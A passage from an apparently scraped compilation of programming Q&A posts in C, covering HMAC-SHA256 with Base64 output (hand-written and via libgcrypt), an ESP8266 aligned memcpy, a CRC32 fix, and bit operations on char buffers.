Key0_ipad_concat_text[i] = msg[i - blocksize];
}
sha256((unsigned char *)Key0_ipad_concat_text, blocksize + (unsigned int)strlen(msg), (unsigned char *)Key0_ipad_concat_text_digest);
for (int i = 0; i < blocksize; i++) {
Key0_opad[i] = Key0[i] ^ 0x5C;
}
for (int i = 0; i < blocksize; i++) {
Key0_opad_concat_prev[i] = Key0_opad[i];
}
for (int i = blocksize; i < blocksize + 32; i++) {
Key0_opad_concat_prev[i] = Key0_ipad_concat_text_digest[i - blocksize];
}
sha256((unsigned char *)Key0_opad_concat_prev, blocksize + 32, (unsigned char *)HMAC_SHA256);
free(Key0);
free(Key0_ipad);
free(Key0_ipad_concat_text);
free(Key0_ipad_concat_text_digest);
free(Key0_opad);
free(Key0_opad_concat_prev);
return HMAC_SHA256;
}
char * Base64_Stringify(char * hash, size_t length)
{
size_t no_op = 0;
size_t Base64_size;
char * Base64;
unsigned long tmp = length;
if (tmp % 3 == 0) {
Base64_size = 4 * tmp / 3;
Base64 = (char *)calloc(Base64_size + 1, sizeof(char));
}
else if (tmp % 3 == 1) {
tmp += 2;
Base64_size = 4 * tmp / 3;
Base64 = (char *)calloc(Base64_size + 1, sizeof(char));
Base64[Base64_size - 1] = '=';
Base64[Base64_size - 2] = '=';
no_op = 2;
}
else if (tmp % 3 == 2) {
tmp += 1;
Base64_size = 4 * tmp / 3;
Base64 = (char *)calloc(Base64_size + 1, sizeof(char));
Base64[Base64_size - 1] = '=';
no_op = 1;
}
unsigned int b64_case = 0;
size_t j = 0;
for (int i = 0; i < Base64_size - no_op; i++) {
switch (b64_case) {
case 0:
{
Base64[i] = Base64_Table[(hash[j] & 0xFC) >> 2];
j++;
b64_case = 1;
}
break;
case 1:
{
Base64[i] = Base64_Table[((hash[j-1] & 0x03) << 4) | ((hash[j] & 0xF0) >> 4)];
b64_case = 2;
}
break;
case 2:
{
Base64[i] = Base64_Table[((hash[j] & 0x0F) << 2) | ((hash[j+1] & 0xC0) >> 6)];
j++;
b64_case = 3;
}
break;
case 3:
{
Base64[i] = Base64_Table[(hash[j] & 0x3F)];
j++;
b64_case = 0;
}
break;
default:
break;
}
}
return Base64;
}
int main()
{
char * HMAC_SHA256_result;
char * Base64_Stringify_result;
HMAC_SHA256_result = HMAC_SHA256("test", "secret");
Base64_Stringify_result = Base64_Stringify(HMAC_SHA256_result, 32);
unsigned char arr[32] = { 0 };
memcpy(arr, HMAC_SHA256_result, 32);
for(int i = 0; i < 32; i++) {
printf("%#02x, ", arr[i]);
}
printf("\n\n");
for(int i = 0; i < strlen(Base64_Stringify_result); i++) {
printf("%c", Base64_Stringify_result[i]);
}
printf("\n\n");
return 0;
}
I'm leaving the old main.c for reference. You can also modify the updated main.c functions, e.g. the error codes when calloc fails...
I've created a simple example of how you can create the hmac with the libgcrypt library. You just need to install it in your system and them compile the program with the -lgcrypt flag to link the library.
As you've asked a standalone function, I created a function which you can call with the key and message that returns a string with the base64 encoded result, which is exactly what you asked for in your JSFiddle.
#include <stdio.h>
#include <string.h>
#include <gcrypt.h>
#include <stdint.h>
static char encoding_table[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'};
static char *decoding_table = NULL;
static int mod_table[] = {0, 2, 1};
char *base64_encode(const unsigned char *data,
size_t input_length,
size_t *output_length) {
*output_length = 4 * ((input_length + 2) / 3);
char *encoded_data = calloc(1,*output_length+1);
if (encoded_data == NULL) return NULL;
for (int i = 0, j = 0; i < input_length;) {
uint32_t octet_a = i < input_length ? (unsigned char)data[i++] : 0;
uint32_t octet_b = i < input_length ? (unsigned char)data[i++] : 0;
uint32_t octet_c = i < input_length ? (unsigned char)data[i++] : 0;
uint32_t triple = (octet_a << 0x10) + (octet_b << 0x08) + octet_c;
encoded_data[j++] = encoding_table[(triple >> 3 * 6) & 0x3F];
encoded_data[j++] = encoding_table[(triple >> 2 * 6) & 0x3F];
encoded_data[j++] = encoding_table[(triple >> 1 * 6) & 0x3F];
encoded_data[j++] = encoding_table[(triple >> 0 * 6) & 0x3F];
}
for (int i = 0; i < mod_table[input_length % 3]; i++)
encoded_data[*output_length - 1 - i] = '=';
return encoded_data;
}
//don't forget to free the return pointer!
char* hmacSHA256(gcry_mac_hd_t hd, const char* key, size_t key_size, const char* msg, size_t msg_size) {
unsigned char output[32];
size_t outputSize = 32;
gcry_mac_reset(hd);
gcry_mac_setkey(hd,key,strlen(key));
gcry_mac_write(hd,msg,strlen(msg));
gcry_mac_read(hd,output,&outputSize);
return base64_encode(output,outputSize,&outputSize);
}
int main() {
const char* const key = "secret";
const char* const msg = "test";
//hmacsha256 returns 256 bits, meaning 32 bytes
unsigned char output[32];
size_t outputSize = 32;
gcry_mac_hd_t hd;
gcry_mac_open(&hd,GCRY_MAC_HMAC_SHA256,0,NULL);
char* tmp = hmacSHA256(hd,key,strlen(key),msg,strlen(msg));
printf("HMAC-SHA256: '%s'\n",tmp);
free(tmp);
tmp = hmacSHA256(hd,"secrett",7,msg,strlen(msg));
printf("HMAC-SHA256: '%s'\n",tmp);
free(tmp);
gcry_mac_close(hd);
return 0;
}
Important remarks:
-Don't forget to free the return value of the hmacSHA256 function and to call gcry_mac_close when you are done hashing.
-I've included the size of the key and size of the message in the function's arguments because this way you can do the HMAC of binary data as well as ASCII/UTF-8 encoded strings. If you're not going to use binary data, feel free to remove the sizes from the arguments and calculating the size inside of the function with strlen like I did in the main when I called the function.
-I didn't wrap the creation of the gcry_mac_hd_t in the function because it's more efficient to reuse the same handler and just reset it every time you need to reuse it then to create a new one every time you need it. This optimization is even more noticeable if you call this function many times in the same execution!

ESP8266 32-bit aligned memcpy

The ESP8266 is running an xtensa core and to read data from flash storage all accesses must be performed with 32bit words. To perform this I wrote the following method:
void memcpy_P(void * dst, const void * src, const unsigned int len)
{
char * _dst = ( char *)dst;
const char * _src = (const char *)src;
unsigned int aligned_len = len & ~0x3;
while(aligned_len > 0)
{
*(uint32_t *)_dst = *(uint32_t *)_src;
_dst += 4;
_src += 4;
aligned_len -= 4;
}
const unsigned int remainder = len & 0x3;
if (remainder > 0)
{
uint32_t tmp = *(uint32_t *)_src;
_dst[0] = (tmp & 0xFF000000) >> 24;
if (remainder > 1)
{
_dst[1] = (tmp & 0x00FF0000) >> 16;
if (remainder > 2)
_dst[2] = (tmp & 0x0000FF00) >> 8;
}
}
}
Is there any changes here one could suggest to improve performance?
Note: This is platform specific and will never be used on any other platform/architecture, an assembly version that specifically targets the xtensa core would be perfectly acceptable in this instance.
EDIT
Based on feedback/review & google I have come up with the following:
void memcpy_P(void * dst, const void * src, const unsigned int len)
{
uint32_t * _dst = ( uint32_t *)dst;
const uint32_t * _src = (const uint32_t *)src;
const uint32_t * _end = _src + (len >> 2);
while(_src != _end)
*_dst++ = *_src++;
const uint32_t rem = len & 0x3;
if (!rem)
return;
const uint32_t mask = 0xFFFFFFFF << ((4 - rem) << 3);
*_dst = (*_dst & ~mask) | (*_src & mask);
}

Crc32 C implementation - doesn't work

I found this CRC32 implementation on the internet, little bit changed it, but I can't get it to work. I initialize it and update it on every byte I get from input, but the hash I get is not what it should be...
typedef struct {
unsigned short xor;
} xor_context;
void crc32_init(crc32_context *context) {
context->crc = 0xFFFFFFFF;
}
void crc32_update(crc32_context *context, unsigned char byte) {
uint32_t crc, mask;
crc = context->crc;
crc = crc ^ byte;
for (int j = 7; j >= 0; j--) { // Do eight times.
mask = -(crc & 1);
crc = (crc >> 1) ^ (0xEDB88320 & mask);
}
context->crc = ~crc;
}
This one is original
unsigned int crc32b(unsigned char *message) {
int i, j;
unsigned int byte, crc, mask;
i = 0;
crc = 0xFFFFFFFF;
while (message[i] != 0) {
byte = message[i]; // Get next byte.
crc = crc ^ byte;
for (j = 7; j >= 0; j--) { // Do eight times.
mask = -(crc & 1);
crc = (crc >> 1) ^ (0xEDB88320 & mask);
}
i = i + 1;
}
return ~crc;
}
//typedef struct {
// unsigned short xor;
//} xor_context;//--> Not sure what part this plays in the code!
void crc32_init(crc32_context *context) {
context->crc = 0xFFFFFFFF;
}
void crc32_update(crc32_context *context, unsigned char byte) {
uint32_t crc, mask;
crc = context->crc;
crc = crc ^ byte;
for (int j = 7; j >= 0; j--) { // Do eight times.
mask = -(crc & 1);
crc = (crc >> 1) ^ (0xEDB88320 & mask);
}
//context->crc = ~crc; //<-- Don't perform for every byte.
context->crc = crc; //EDIT: Forgot this!
}
//Completes the check.
uint32_t crc32_complete(crc32_context *context){
return ~context->crc;
}

How to get and set bits for bits in char string?

Usually bit operations are done in smaller data width such as int, unsigned int or wchar_t. Assuming we want to use the bit strings in a longer format, how to shift, get and set bits for bits in char string?
One way may be to divide and conquer using the conventional method, but how do we ensure the bit carry over?
Given
#define numberOfState 2000 // number of bits
#define numberOfBitsIn1Byte 8
char* record;
int numberOfCharRequiredToRepresentBits =
ceil(((float)numberOfState/(float)numberOfBitsIn1Byte));
record = (char*) malloc(sizeof(char)*numberOfCharRequiredToRepresentBits);
// record = "NAXHDKAN552ajdasdadNDfadsEBEAfA8gda5214S";
// optional : initialization by doing the set bit according to
// input from files. After which, do free(record);
How may we conduct bit operations such as to
i. shift the *record
ii. get bits from a specific bit position in *record
iii. set bits from a specific bit position in *record
Please have a try with following code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int isLittleEndian = 1;
void checkEndian(void)
{
union
{
short inum;
char c[sizeof(short)];
} un;
un.inum=0x0102;
if(un.c[0]==1 && un.c[1]==2)
{
printf("big_endian.\n");
isLittleEndian = 0;
}
else if(un.c[0]==2 && un.c[1]==1)
{
printf("little_endian.\n");
isLittleEndian = 1;
}
}
void shift_L(char *src, char * dst, int len, int n)
{
int shiftBytes = n/8;
int shiftBits = n%8;
memset(dst, 0, len);
memcpy(dst, src + shiftBytes, len - shiftBytes);
if (shiftBits)
{
int i = 0;
unsigned short tmp = 0;
for ( i = 0; i < len; i++)
{
if (isLittleEndian)
{
tmp = *(dst+i) << 8 | *(dst+i+1);
tmp <<= shiftBits;
*(dst+i) = *((char *)&tmp + 1);
}
else
{
tmp = *(short *)(dst+i);
tmp <<= shiftBits;
*(dst+i) = *((char *)&tmp);
}
}
}
}
void shift_R(char *src, char * dst, int len, int n)
{
int shiftBytes = n/8;
int shiftBits = n%8;
memset(dst, 0, len);
memcpy(dst + shiftBytes, src, len - shiftBytes);
if (shiftBits)
{
int i = 0;
unsigned short tmp = 0;
for ( i = len -1; i >= 0; i--)
{
if (isLittleEndian)
{
tmp = *(dst+i-1) << 8 | *(dst+i);
tmp >>= shiftBits;
*(dst+i) = *((char *)&tmp);
}
else
{
tmp = *(short *)(dst+i-1);
tmp >>= shiftBits;
*(dst+i) = *((char *)&tmp+1);
}
}
}
}
int getBit(char *src, int n)
{
unsigned char tmp = *(src + n/8);
unsigned char mask = (0x1 << (8 - n%8 - 1));
int bit = 0;
bit = (tmp & mask) > 0;
printf("%d", bit);
}
void setBit(char *src, int n, int bit)
{
unsigned char * pTmp = src + n/8;
unsigned char mask = (0x1 << (8 - n%8 - 1));
if (bit)
{
*pTmp |= mask;
}
else
{
*pTmp &= ~mask;
}
}
void dumpBin(unsigned char *src, int len)
{
int i = 0;
int j = 0;
unsigned char mask = 0;
for ( i = 0; i < len; i++)
{
for ( j = 0; j < 8; j++)
{
mask = 0x1 << 8 - j - 1;
printf("%d",(*(src + i) & mask) > 0);
}
}
}
void main()
{
char *record = "NAXHDKAN552ajdasdadNDfadsEBEAfA8gda5214S";
//char *record = "NAXHDKA";
int recordLen = strlen(record);
char * buffer = NULL;
int i = 0;
checkEndian();
recordLen = recordLen + recordLen%2;
buffer = malloc(recordLen);
memcpy(buffer, record, recordLen);
printf("\n input bit stream:\n");
dumpBin(buffer, recordLen);
printf("\n bit stream from getBit:\n");
for ( i = 0; i < recordLen*8; i++)
{
getBit(buffer, i);
}
setBit(buffer, 8, 1);
setBit(buffer, 9, 0);
setBit(buffer, 10, 1);
setBit(buffer, 11, 1);
printf("\n bit stream after setBit:\n");
dumpBin(buffer, recordLen);
shift_L(record, buffer, recordLen, 1);
printf("\n bit stream after shift_L:\n");
dumpBin(buffer, recordLen);
shift_R(record, buffer, recordLen, 9);
printf("\n bit stream after shift_R:\n");
dumpBin(buffer, recordLen);
printf("\n");
free(buffer);
}
Your bitstream is essentially an array of char. So, to perform these operations you work on these char elements.
i. The shifting operation depends on the number of bits you want to shift.
If the number is a multiple of 8, it is pretty straightforward, you just copy the elements right of left as many bytes as the number is a multiple of 8.
If the number is less than 8, you perform the operation on every element of the array, but you need to or the overflowing bits of the previous element. For example, in left shift, element i must incorporate the overflowing bits of element i+1, and on right shift, the overflowing bits of element i-1.
Any other number of bits you want to shift can be achieved by a combination of these two actions. For example, a left shift by 18 is a shift by 16 followed by a shift by 2.
In any case, you need to be careful on which side of the bitstring you start, so that you do not lose data.
ii. In order to get the n-th bit of the bitstream, you access the element with index n/8 (integer division) and get the n%8 bit from it.
iii. Pretty much the same as ii.

Resources